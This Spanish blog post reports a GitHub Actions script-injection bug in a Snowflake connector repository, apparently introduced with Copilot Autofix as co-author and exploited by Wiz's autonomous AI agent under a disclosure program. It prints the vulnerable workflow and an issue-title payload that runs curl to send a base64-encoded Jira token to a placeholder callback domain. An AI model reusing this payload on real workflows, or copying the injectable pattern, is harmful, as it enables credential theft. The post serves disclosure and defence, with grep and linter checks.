DEV Community

Cover image for Copilot Autofix coescribió el bug que Wiz explotó en Snowflake
lu1tr0n
lu1tr0n

Posted on Originally published at elsolitario.org

Copilot Autofix coescribió el bug que Wiz explotó en Snowflake

El 18 de junio de 2026, un commit firmado en parte por Copilot Autofix reemplazó el parseo seguro de un workflow de Snowflake por una línea que permitía ejecutar cualquier comando con solo abrir un issue en GitHub. Cinco días después, el Red Agent de Wiz, una herramienta de investigación autónoma impulsada por IA, encontró el fallo, corrigió su propio payload tras un error de sintaxis y exfiltró un token de Jira interno en cuestión de segundos.

El caso, documentado por Wiz Research bajo el programa de HackerOne de Snowflake, es uno de los primeros ejemplos públicos donde una IA de autofix introduce la vulnerabilidad y otra IA, de forma autónoma, la descubre y explota.

TL;DR

  • Wiz Research halló un script injection en el workflow jira_issue.yml del repo snowflakedb/snowflake-connector-net.- La PR #1218, fusionada el 18 de junio de 2026, introdujo el bug y lista a Copilot Autofix como coautor del commit.- El workflow se disparaba con cualquier issue abierto por cualquier usuario de GitHub, sin autenticación previa.- Un gate de seguridad basado en github.event.pull_request.user.login siempre evaluaba como verdadero en eventos de tipo issues.- El Red Agent de Wiz ajustó su payload tras un error de sintaxis bash y logró ejecución remota de comandos.- El ataque exfiltró un token de Jira de la cuenta qa@snowflake.net con acceso a proyectos de ingeniería y bug bounty.- Snowflake parcheó el workflow el mismo día de la divulgación, el 23 de junio de 2026, con la PR #1402.- Wiz actualizó el post el 17 de agosto de 2026 para aclarar que Copilot revisó la PR fusionada y no detectó el fallo.

Introducción

Copilot Autofix es la función de GitHub que revisa pull requests y sugiere, o directamente aplica, parches automáticos de seguridad. En este caso participó como coautor de un cambio que, lejos de arreglar nada, abrió la puerta a la ejecución remota de comandos en un repositorio público de Snowflake. El repositorio afectado, snowflakedb/snowflake-connector-net, es el conector oficial de .NET que miles de aplicaciones usan para hablar con el data warehouse de Snowflake.

La historia importa para cualquier equipo en LATAM que use GitHub Actions con triggers automáticos (issues, pull requests, comentarios), porque expone un patrón de vulnerabilidad conocido desde hace años, la inyección de plantillas en workflows, reintroducido por una herramienta pensada justamente para prevenir ese tipo de errores. Copilot Autofix no falló por un bug exótico: falló ante el mismo patrón que audita todos los días.

Qué pasó

Wiz Research usa Red Agent para escanear organizaciones enteras en GitHub en busca de workflows inseguros. Durante el escaneo del repositorio de Snowflake, Wiz Research marcó el archivo jira_issue.yml como vulnerable a inyección de script por usar datos no confiables directamente en un bloque run:.

El workflow se disparaba con el evento issues: opened, es decir, cualquier persona con una cuenta de GitHub podía activarlo sin autenticarse contra Snowflake. El título del issue se interpolaba directamente en un script de shell:

on:
  issues:
    types: [opened]
jobs:
  notify-jira:
    runs-on: ubuntu-latest
    steps:
      - name: Build Jira payload
        run: |
          TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\\\'/g")
          echo "title=$TITLE" >> "$GITHUB_OUTPUT"
Enter fullscreen mode Exit fullscreen mode

El problema está en el orden de las operaciones. GitHub expande ${{ github.event.issue.title }} como texto plano antes de que el runner ejecute una sola línea del script. El sed que intenta escapar comillas corre después, sobre un string que ya rompió la sintaxis del echo '...'. Si el título del issue contiene una comilla simple, el atacante sale del string y el resto del título se interpreta como comandos de shell.

Ese patrón reemplazó a uno más seguro que existía antes en el mismo archivo, uno que pasaba el título por una variable de entorno y construía el JSON con jq --arg. La comparación entre ambos enfoques es la siguiente:
PatrónDónde apareceRiesgoAlternativa segura${{ github.event.issue.title }} interpolado directo en run:jira_issue.yml, PR #1218Inyección de comandos shell antes de cualquier escapadoPasar el valor por env: y leerlo como variable de entornoEscapado con sed después de la expansión de plantillaCommit 4a1b8ceEl escapado corre después de que GitHub ya expandió el string, no antesjq --arg para construir JSON de forma seguraif: github.event.pull_request.user.login != botGate de seguridad del workflowpull_request es null en eventos issues: la condición siempre es verdaderaVerificar github.event.issue.user.login o requerir revisión manual

⚠️ Ojo: el workflow tenía una condición que parecía filtrar bots, pero github.event.pull_request siempre es null en eventos de tipo issues. La condición se evaluaba como verdadera para cualquier usuario, siempre.
La PR #1218 quedó marcada como revisada sin señalar el patrón inseguro.

Contexto e historia de Copilot Autofix

Copilot Autofix es la respuesta de GitHub al mismo problema que Wiz explota acá: la mayoría de las vulnerabilidades en producción no vienen de bugs exóticos, sino de patrones conocidos que nadie revisa a tiempo. La función analiza pull requests, detecta código riesgoso y sugiere, o directamente aplica, el parche. El commit 4a1b8ce, parte de la PR #1218 (SNOW-2069227: Update jira workflows), lista a Copilot Autofix powered by AI como coautor del cambio que introdujo el bug.

Wiz actualizó su publicación original el 17 de agosto de 2026 a las 19:57 UTC para precisar un matiz importante: Copilot participó como revisor que dio el visto bueno a la PR ya fusionada, sin marcar la vulnerabilidad, pero no está confirmado si el cambio de código en sí fue generado con asistencia de IA. La distinción importa porque separa dos fallas distintas: quién escribió la línea insegura y quién la revisó sin detectarla.

El hallazgo se dio dentro del programa de divulgación responsable que Snowflake mantiene en HackerOne, el mismo canal que Wiz usa habitualmente para reportar los resultados de su investigación ofensiva.

Detalles técnicos y rendimiento

Wiz construyó un título de issue diseñado para escapar del echo y ejecutar un comando de exfiltración vía callback fuera de banda (OAST). El primer intento usó un carácter # para comentar el resto de la línea, pero eso también consumió el paréntesis de cierre de TITLE=$(...) y el runner devolvió un error de sintaxis de bash.

El Red Agent no se detuvo ante el error. Analizó el mensaje de fallo, entendió que necesitaba cerrar el bloque de subshell antes de inyectar el comando, y ajustó el payload para usar ; echo ' en lugar del comentario:

' ; curl -s "https://CALLBACK_DOMAIN?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo '
Enter fullscreen mode Exit fullscreen mode

Ese título, una vez interpolado dentro del echo '...' original, cierra el string, ejecuta un curl que codifica en base64 las variables de entorno del token, el correo y la URL base de Jira, y las envía como query string a un dominio de callback controlado por los investigadores. El runner, con una IP de Azure (20.106.182.197), hizo la petición en segundos.

💭 Clave: el detalle más relevante no es el bug en sí, sino que el agente autónomo depuró y corrigió su propio exploit sin intervención humana entre el primer error de sintaxis y el segundo intento exitoso.

El token exfiltrado autenticaba como qa@snowflake.net contra snowflakecomputing.atlassian.net, la instancia de Jira interna de Snowflake, con acceso de lectura a proyectos de ingeniería, cumplimiento de seguridad y seguimiento de bug bounty.

El flujo completo del ataque

sequenceDiagram
participant A as Atacante
participant G as GitHub Actions
participant R as Runner
participant J as Jira
participant C as Servidor de callback
A->>G: Abre un issue con titulo malicioso
G->>R: Dispara el workflow jira_issue.yml
R->>R: Interpola el titulo sin sanitizar en run
R->>C: Exfiltra el token de Jira via curl
Note over R,C: El token da acceso de lectura a Jira interno
C-->>J: El token es reutilizable contra Jira
Enter fullscreen mode Exit fullscreen mode

El runner devolvió el error de sintaxis antes de que el segundo intento tuviera éxito.

Cómo empezar a probarlo

El patrón que rompió a Snowflake es fácil de buscar en tu propio historial de workflows. Un primer paso, sin instalar nada, es grepear directamente los archivos YAML de tu repositorio:

grep -rn "github\.event\.issue\.title" .github/workflows/*.yml
Enter fullscreen mode Exit fullscreen mode

Si ese comando devuelve resultados dentro de un bloque run: (y no dentro de un env:), tenés el mismo problema que Snowflake. Para un chequeo más completo, actionlint es un linter estático de workflows de GitHub Actions que detecta interpolaciones inseguras de ${{ }} dentro de scripts de shell, entre otras reglas.

# macOS (Homebrew)
brew install actionlint

# Linux / macOS (toolchain de Go)
go install github.com/rhysd/actionlint/cmd/actionlint@latest

# Windows (Scoop)
scoop install actionlint

# Verificar instalación
actionlint --version
Enter fullscreen mode Exit fullscreen mode

Para confirmar que un workflow específico está limpio, corré actionlint .github/workflows/jira_issue.yml y revisá que no aparezca ningún warning de tipo shellcheck ni de expresión sin comillas dentro de un bloque run:. También conviene revisar la guía oficial de hardening de GitHub Actions para triggers como issues, issue_comment y pull_request_target, que son los más propensos a este tipo de inyección.

Impacto y análisis

El incidente conecta dos tendencias que hasta ahora se discutían por separado. Por un lado, las herramientas de autofix con IA, pensadas para reducir la carga de revisión de seguridad, pueden introducir el mismo tipo de error que intentan prevenir si nadie audita el diff final con ojo humano. Por otro, agentes autónomos como Red Agent muestran que encontrar y explotar ese tipo de fallos ya no requiere días de trabajo manual: el ciclo completo, desde el escaneo hasta la exfiltración confirmada, tomó minutos una vez identificado el archivo vulnerable.

Snowflake respondió dentro del mismo día del reporte: revirtió el patrón inseguro, rotó la credencial expuesta y confirmó, mediante logs de auditoría, que Wiz fue el único actor que accedió al token durante la ventana de exposición. Wiz, por su parte, confirmó que borró de forma segura cualquier dato al que accedió durante la prueba de concepto.

Para equipos que ya delegan revisiones de seguridad a asistentes de IA como Copilot Autofix, o herramientas equivalentes, el caso deja una lección concreta: un visto bueno automático sobre un pull request de infraestructura como código no reemplaza una revisión humana enfocada específicamente en cómo se maneja input no confiable dentro de un run:.

Qué sigue

Wiz confirmó que seguirá operando Red Agent dentro de programas de divulgación responsable como el de Snowflake en HackerOne, aplicando el mismo enfoque de escaneo continuo a otras organizaciones. Snowflake ya restauró el patrón seguro con env: y jq --arg en la PR #1402, fusionada el mismo 23 de junio de 2026.

El caso también alimenta un debate más amplio en la industria: si las herramientas de autofix con IA coautoría commits de infraestructura crítica, necesitan el mismo nivel de escrutinio, o uno mayor, que un pull request humano, especialmente en archivos que definen triggers automáticos y permisos de workflows.

📖 Resumen en Telegram: Ver resumen

Probalo vos: corré grep -rn "github.event.issue.title" .github/workflows/*.yml en tu propio repositorio para chequear si tenés el mismo patrón que abrió la puerta en Snowflake.

Preguntas frecuentes

¿Qué es el Red Agent de Wiz?

Es una herramienta de investigación de seguridad autónoma e impulsada por IA que Wiz Research usa para escanear organizaciones en busca de configuraciones y workflows vulnerables, y en este caso también para explotarlos como prueba de concepto dentro de un programa de divulgación responsable.

¿Qué es Copilot Autofix?

Es la función de GitHub que analiza pull requests, detecta patrones de código riesgosos y sugiere o aplica parches automáticos. En este caso figura como coautor del commit que introdujo el patrón vulnerable, aunque Wiz aclaró después que no está confirmado si el cambio de código fue generado con asistencia de IA.

¿Los datos de Snowflake quedaron expuestos a terceros?

Según Wiz, los logs de auditoría de Snowflake confirmaron que Wiz fue el único actor que accedió al token durante la ventana de exposición, y que todos los datos accedidos durante la prueba de concepto fueron eliminados de forma segura.

¿Cómo puedo revisar si mis propios workflows tienen el mismo problema?

Buscá interpolaciones directas de ${{ github.event.* }} dentro de bloques run: con grep, o corré un linter como actionlint sobre tu carpeta .github/workflows. La alternativa segura es pasar el valor por una variable de env: y consumirlo como variable de entorno en el script.

¿Qué es un ataque de inyección de script en GitHub Actions?

Es cuando un valor controlado por un usuario externo (el título de un issue, un comentario, el nombre de una rama) se interpola como texto en un script de shell antes de ejecutarse, permitiendo que ese usuario inyecte comandos arbitrarios que corren con los permisos del runner.

¿Snowflake ya corrigió la vulnerabilidad?

Sí. Snowflake parchó el workflow el mismo 23 de junio de 2026, restauró el patrón seguro con env: y jq --arg, y rotó la credencial de Jira expuesta.

Referencias

📱 ¿Te gusta este contenido? Únete a nuestro canal de Telegram @programacion donde publicamos a diario lo más relevante de tecnología, IA y desarrollo. Resúmenes rápidos, contenido fresco todos los días.

Top comments (0)